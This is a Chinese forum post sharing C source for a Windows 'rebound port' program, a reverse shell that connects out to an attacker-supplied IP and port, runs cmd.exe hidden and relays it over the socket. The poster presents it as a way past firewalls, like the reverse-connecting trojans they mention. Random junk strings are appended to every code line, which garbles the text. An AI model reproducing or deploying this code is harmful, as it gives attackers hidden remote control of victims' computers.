社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3647阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 YYZE-{ %  
|jO&qT]{  
/* ============================== ]rXRon='  
Rebound port in Windows NT kImS'i{A  
By wind,2006/7 Abd&p N  
===============================*/ :TX!lbCq  
#include pRc@0^G  
#include O: :X$O7  
kd9hz-*  
#pragma comment(lib,"wsock32.lib") Ef:.)!;jy  
_;L9&>!p6  
void OutputShell(); W6 f*>  
SOCKET sClient; D CcM~  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; aOA;"jR1  
W;eHDQ|  
void main(int argc,char **argv) [8(e`6xePb  
{ Qpe&_.&RE  
WSADATA stWsaData; 'k{pWfn=<  
int nRet; M(0:>G  
SOCKADDR_IN stSaiClient,stSaiServer; yL7a*C&  
gle_~es'K  
if(argc != 3) DnMfHG[<  
{ Vf`1'GY  
printf("Useage:\n\rRebound DestIP DestPort\n"); - b:&ACY  
return; {%)bxk6  
} A<ur20   
wtu WzHrF  
WSAStartup(MAKEWORD(2,2),&stWsaData); Q]uxZ;}aF  
D[-V1K&g  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); TG=) KS  
^uD r  
stSaiClient.sin_family = AF_INET; z v*hA/  
stSaiClient.sin_port = htons(0); <=W;z=$!Bb  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); K|[[A)tt6  
xrFFmQ<_W  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9r+]V=  
{ J'G 6Z7  
printf("Bind Socket Failed!\n"); }*4XwUM e  
return; rn"'tvhm  
} !iN=py  
EC<g7_0F  
stSaiServer.sin_family = AF_INET; f R$E*Jd  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); NuRxkeEO  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \tc 4DS  
Eaf6rjD  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) kAsYh4[  
{ xc7Wk&{=  
printf("Connect Error!"); 0 XxU1w8\V  
return; <7NY.zvwk]  
} 56Z 1jN^U  
OutputShell(); ] ?w hx &+  
} dO =fbmK  
d~M;@<eD  
void OutputShell() 5V;BimI  
{ F'^6 ra9  
char szBuff[1024]; zy"wQPEE  
SECURITY_ATTRIBUTES stSecurityAttributes; g <S&sYF5  
OSVERSIONINFO stOsversionInfo; JKN0:/t7 Q  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #EQwl6  
STARTUPINFO stStartupInfo; KSe `G;{  
char *szShell; 2+y<&[A8U  
PROCESS_INFORMATION stProcessInformation; Nj4=  
unsigned long lBytesRead; biLx-F c  
'id] <<F  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); E&ou(Q={  
IhoV80b  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); In<L?U?([D  
stSecurityAttributes.lpSecurityDescriptor = 0; \0?^%CD+@  
stSecurityAttributes.bInheritHandle = TRUE; xF![3~~3[  
cBs:7Pnp%  
!A!}j.s  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <mN.6@*{  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); VUAW/  
hUN]Lm6M  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @AET.qGC  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mux_S2x9m\  
stStartupInfo.wShowWindow = SW_HIDE; #D4gNQg@R  
stStartupInfo.hStdInput = hReadPipe; H <7r  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; =pSuyM'  
6^_:N1 @  
GetVersionEx(&stOsversionInfo); HQqnJ;ns<  
7 L2$(d4  
switch(stOsversionInfo.dwPlatformId) ;n1< 1M>!  
{ 9+><:(,  
case 1: _nW{Q-nh  
szShell = "command.com"; R{={7.As+  
break; <=D !/7$ O  
default: 2UqLV^ZY  
szShell = "cmd.exe"; 9C9>V]  
break; "*E06=fiG  
} )*6 ]m1  
Nmu;+{19M  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); O.OPIQ=?:w  
;;|S QX  
send(sClient,szMsg,77,0); C(/{53G(  
while(1) ;J<K/YdI  
{  M18<d1*  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); y8~/EyY|^  
if(lBytesRead) |KH981  
{ 8['8ctX  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %2)B.qTp&  
send(sClient,szBuff,lBytesRead,0); [3KP@'52k  
} +q*Cw>t /  
else G_m$W3 zS  
{ VSf<(udGr  
lBytesRead=recv(sClient,szBuff,1024,0); VAGQR&T?  
if(lBytesRead<=0) break; v>S[} du  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (tY0/s  
} Xx)PyO  
} kF,_o/Jc  
]!% p21e  
return; J*I G]2'H  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五